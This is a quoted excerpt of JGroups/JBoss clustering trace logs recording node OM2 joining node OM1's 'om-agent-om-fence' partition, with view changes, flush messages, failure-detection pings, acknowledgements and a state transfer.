> 2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: successful GMS flush by coordinator
> 2013-08-30 09:49:25,825 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: all FLUSH_COMPLETED received
> 2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) suspending message garbage collection
> 2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resume task started, max_suspend_time=33000
> 2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: mcasting view {[OM1:1299|1] [OM1:1299, OM2:1299]} (2 mbrs)
> 2013-08-30 09:49:25,825 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#6
> 2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#6
> 2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 DEBUG [NAKACK] (Incoming-5,null) 
> [setDigest()]
> existing digest:  OM1:1299: [1 : 6 (6)]
> new digest:       OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)]
> resulting digest: OM2:1299: [0 : 0 (0)], OM1:1299: [1 : 6 (6)]
> 2013-08-30 09:49:25,825 DEBUG [GMS] (Incoming-5,null) OM1:1299: view is [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,825 TRACE [VIEW_SYNC] (Incoming-5,null) view send task started
> 2013-08-30 09:49:25,825 DEBUG [FD_SOCK] (Incoming-5,null) VIEW_CHANGE received: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:25,841 TRACE [STABLE] (Incoming-5,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:25,841 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 TRACE [UFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [FD_SOCK] (OOB-19,null) i-have-sock: OM1:1299 --> 192.168.1.200:54400 (cache is {OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:25,841 TRACE [MFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) pinger_thread started
> 2013-08-30 09:49:25,841 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 DEBUG [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest is OM2:1299, pingable_mbrs=[OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (Incoming-5,null) New cluster view for partition om-agent-om-fence (id: 1, delta: 1, merge: false) : [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: WHO_HAS_SOCK, mbr=OM2:1299, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 INFO  [JGroupsTransport] (Incoming-5,null) Received new cluster view: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) I am (OM1:1299) received membershipChanged event:
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) Dead members: 0 ([])
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) New Members : 1 ([OM2:1299])
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) All Members : 2 ([OM1:1299, OM2:1299])
> 2013-08-30 09:49:25,857 DEBUG [FLUSH] (Incoming-5,null) OM1:1299: installing view [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM1:1299: #2, conn_id=0)
> 2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-5,null) sending msg to OM1:1299, src=OM1:1299, headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from existing members for view [OM1:1299|1]
> 2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: created connection to OM2:1299
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299 --> DATA(OM2:1299: #1, conn_id=1, first)
> 2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are GMS: GmsHeader[JOIN_RSP]: join_rsp=view: [OM1:1299|1] [OM1:1299, OM2:1299], digest: OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)], UNICAST: DATA, seqno=1, conn_id=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,075 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,075 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:26,075 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest=OM2:1299, ping_sock=Socket[addr=/192.168.1.201,port=54400,localport=50257], cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}
> 2013-08-30 09:49:26,106 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,106 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #1)
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,122 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: GET_CACHE, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: GET_CACHE_RSP, cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) accepted connection from /192.168.1.201:63697
> 2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) waiting for client connections on OM1/192.168.1.200:54400
> 2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #2)
> 2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #2)
> 2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from joiners for view [OM1:1299|1]
> 2013-08-30 09:49:26,153 TRACE [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:26,153 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resuming message garbage collection
> 2013-08-30 09:49:26,153 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: sending RESUME event
> 2013-08-30 09:49:26,153 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received RESUME, sending STOP_FLUSH to all
> 2013-08-30 09:49:26,153 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#7
> 2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#7
> 2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 DEBUG [FLUSH] (Incoming-9,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
> 2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 <-- DATA(OM2:1299: #3)
> 2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> ACK(OM2:1299: #3)
> 2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-11,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> DATA(OM2:1299: #2, conn_id=1)
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=2, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-12,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-12,null) OM1:1299 <-- ACK(OM2:1299: #2)
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63698 handing of to PooledExecutor thread
> 2013-08-30 09:49:26,325 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63698, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:26,512 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
> 2013-08-30 09:49:26,590 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 1 StoredEntries to stream
> 2013-08-30 09:49:26,715 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, UNICAST: DATA, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,715 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #4)
> 2013-08-30 09:49:26,715 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 2
> 2013-08-30 09:49:26,746 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 2 to OM2:1299
> 2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #3, conn_id=1)
> 2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=3, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,746 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
> 2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #4)
> 2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,746 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:26,761 TRACE [UDP] (Incoming-13,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (Incoming-13,null) OM1:1299 <-- ACK(OM2:1299: #3)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, UNICAST: DATA, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #5)
> 2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 3
> 2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 3 to OM2:1299
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #4, conn_id=1)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=3, rsp_expected=false, UNICAST: DATA, seqno=4, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #5)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,777 TRACE [UDP] (Incoming-14,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,777 TRACE [UNICAST] (Incoming-14,null) OM1:1299 <-- ACK(OM2:1299: #4)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=1,members=[OM1:1299, OM2:1299]], NAKACK: [MSG, seqno=1], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [NAKACK] (Incoming-15,null) OM1:1299: received OM2:1299#1
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-15,null) OM1:1299 --> DATA(OM2:1299: #5, conn_id=1)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) sending msg to OM2:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=1], UNICAST: DATA, seqno=5, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [FLUSH] (Incoming-15,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM2:1299
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-16,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-16,null) OM1:1299 <-- ACK(OM2:1299: #5)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 <-- DATA(OM2:1299: #6)
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> ACK(OM2:1299: #6)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-17,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> DATA(OM2:1299: #6, conn_id=1)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=6, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-18,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-18,null) OM1:1299 <-- ACK(OM2:1299: #6)
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63699 handing of to PooledExecutor thread
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63699, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:27,058 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:27,151 TRACE [UDP] (Incoming-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=2], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,151 TRACE [NAKACK] (Incoming-19,null) OM1:1299: received OM2:1299#2
> 2013-08-30 09:49:27,151 DEBUG [FLUSH] (Incoming-19,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=874 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#3
> 2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 874 credits, 1999126 remaining
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 4
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=382 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=5, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#4
> 2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 382 credits, 1998744 remaining
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 5
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) sending rsp for 5 to OM2:1299
> 2013-08-30 09:49:27,276 TRACE [UNICAST] (Incoming-20,null) OM1:1299 --> DATA(OM2:1299: #7, conn_id=1)
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=5, rsp_expected=false, UNICAST: DATA, seqno=7, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-1,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [UNICAST] (Incoming-1,null) OM1:1299 <-- ACK(OM2:1299: #7)
> 2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM2:1299 (4 headers), size=873 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=6, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM2:1299#5
> 2013-08-30 09:49:27,292 TRACE [MFC] (Incoming-4,null) OM2:1299 used 873 credits, 1997871 remaining
> 2013-08-30 09:49:27,292 TRACE [RequestCorrelator] (Incoming-4,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 6
